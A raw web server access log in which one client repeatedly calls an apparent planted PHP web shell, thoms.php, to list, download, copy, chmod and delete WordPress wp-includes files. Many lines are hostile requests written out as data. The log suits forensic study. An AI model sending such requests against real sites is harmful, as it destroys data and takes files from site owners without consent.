45.135.193.11 - - [11/Sep/2026:23:45:13 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:13 -0400] "GET /thoms.php?chmod=theme.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 200 14974 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:13 -0400] "GET /thoms.php?dl=ms-settings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:14 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:14 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:14 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59440 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:14 -0400] "GET /booking-wise2.com.tw/wp-includes/nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:14 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 200 12407 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 200 13138 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:14 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /booking-wise2.com.tw/wp-includes/category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-requests.php HTTP/1.1" 200 12802 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 200 71115 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /thoms.php?dl=category-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59431 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /thoms.php?chmod=build&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=build&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /booking-wise2.com.tw/wp-includes/css/ HTTP/1.1" 200 2399 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /booking-wise2.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-rss.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-rss.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:16 -0400] "GET /thoms.php?del=theme-previews.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:15 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59203 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:16 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59468 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:16 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 200 12420 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:16 -0400] "GET /thoms.php?chmod=cron.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:16 -0400] "GET /booking-wise2.com.tw/wp-includes/rss-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:16 -0400] "GET /thoms.php?chmod=default-widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:17 -0400] "GET /thoms.php?chmod=block-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:17 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11551 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:17 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:17 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:17 -0400] "GET /thoms.php?del=post-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:17 -0400] "GET /thoms.php?del=fonts&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?del=fonts&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:17 -0400] "GET /thoms.php?chmod=images&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=images&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 200 13983 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /booking-wise2.com.tw/wp-includes/l10n.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 200 13510 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:17 -0400] "GET /thoms.php?del=class-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /booking-wise2.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FText&p= HTTP/1.1" 200 12403 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /thoms.php?del=icons.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=icons.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 200 22874 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 200 12070 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /thoms.php?chmod=wp-db.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59427 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:18 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&upload= HTTP/1.1" 200 12184 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fai-client HTTP/1.1" 200 13274 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?chmod=ai-client.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?chmod=class-http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /booking-wise2.com.tw/wp-includes/build/ HTTP/1.1" 200 1293 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /booking-wise2.com.tw/wp-includes/fonts/ HTTP/1.1" 200 1417 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /booking-wise2.com.tw/wp-includes/media-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 200 18977 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 200 21778 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?chmod=admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?chmod=class-phpass.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /booking-wise2.com.tw/wp-includes/default-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:19 -0400] "GET /thoms.php?del=media.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=media.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
